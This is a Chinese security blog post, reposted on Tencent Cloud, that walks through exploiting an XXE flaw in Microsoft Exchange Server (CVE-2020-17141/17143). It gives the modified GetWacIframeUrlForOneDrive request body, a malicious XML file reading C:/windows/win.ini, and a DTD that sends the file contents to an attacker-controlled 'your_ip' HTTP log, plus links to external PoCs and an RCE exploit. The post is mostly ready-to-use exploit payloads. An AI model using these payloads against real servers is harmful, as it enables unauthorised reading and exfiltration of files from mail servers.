前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Exchange Server最新漏洞?

Exchange Server最新漏洞?

作者头像
tnt阿信
发布2021-01-05 14:33:49
8070
发布2021-01-05 14:33:49
举报

转眼又过去了一个月,真是好久不见呀,?弟们~

没什么好说的,提前给大家拜个年吧?

这是一个XXE漏洞,官方披露时间是12.8日,并且定级是"不太可能利用"

虽然这个漏洞的利用前提是需要一个低权限的账号

但是这样的定级还是有点不负责任的

目前网上关于这个漏洞的poc不多,在twitter上看到一个大哥写的poc后来也被证实是错误的

但是我们也是在他poc基础上找到正确的利用姿势的,所以还是贴一下poc地址:

https://srcincite.io/pocs/cve-2020-17143.py.txt

https://srcincite.io/pocs/cve-2020-17141.py.txt

如果链接无法打开,请酌情选择上网方式

下面是简单的一个复现:

用你的账号登录邮箱,然后随意浏览,你会抓到类似下面这样的一个数据包,接着就按照下图进行修改

三处大箭头所指的action需要保持一致,都为GetWacIframeUrlForOneDrive

然后post请求的body为:

代码语言:javascript
复制
{"request":{"DocumentUrl":"","EndPointUrl":"http://your_ip/test.xml?"}}

值得注意的是endpointurl的值最后的?是不可以省略的,这也是上面两个poc不正确的一处地方,为什么需要这个?

因为我们把这个请求发送给目标exchange server时,exchange server会取请求体中的endpointurl的值,并在endpointurl后面拼接一部分路径再发起请求

为了能够让目标exchange server正确请求到我们的test.xml文件,我们需要?

这个也是我们通过查看自己服务器日志发现的

其中test.xml文件是部署在我们自己的服务器上的,内容为:

代码语言:javascript
复制
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ENTITY  % start "<![CDATA[">
<!ENTITY  % stuff SYSTEM "file:///C:/windows/win.ini">
<!ENTITY  % end "]]>">
<!ENTITY % dtd SYSTEM "http://your_ip/poc.dtd">
%dtd;
]>
<root>&external;</root>

然后其中的poc.dtd的内容为:

代码语言:javascript
复制
<!ENTITY  % payload "%start;%stuff;%end;">
<!ENTITY  % param1 '<!ENTITY external SYSTEM "http://your_ip:port/httplog/123?p=%payload;">'>
%param1;

这payload就是一个典型的xxe外带数据的操作

其中http://your_ip:port/httplog/123?p=%payload;就是使用httplog记录服务器发过来的数据,换成dnslog的方式同样莫问题

成功拿到数据:

最后再同步一份exchange server rce的exp:

https://github.com/Airboi/CVE-2020-17144-EXP

怕什么真理无穷,进一寸有进一寸的欢喜

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-12-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 一个安全研究员 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档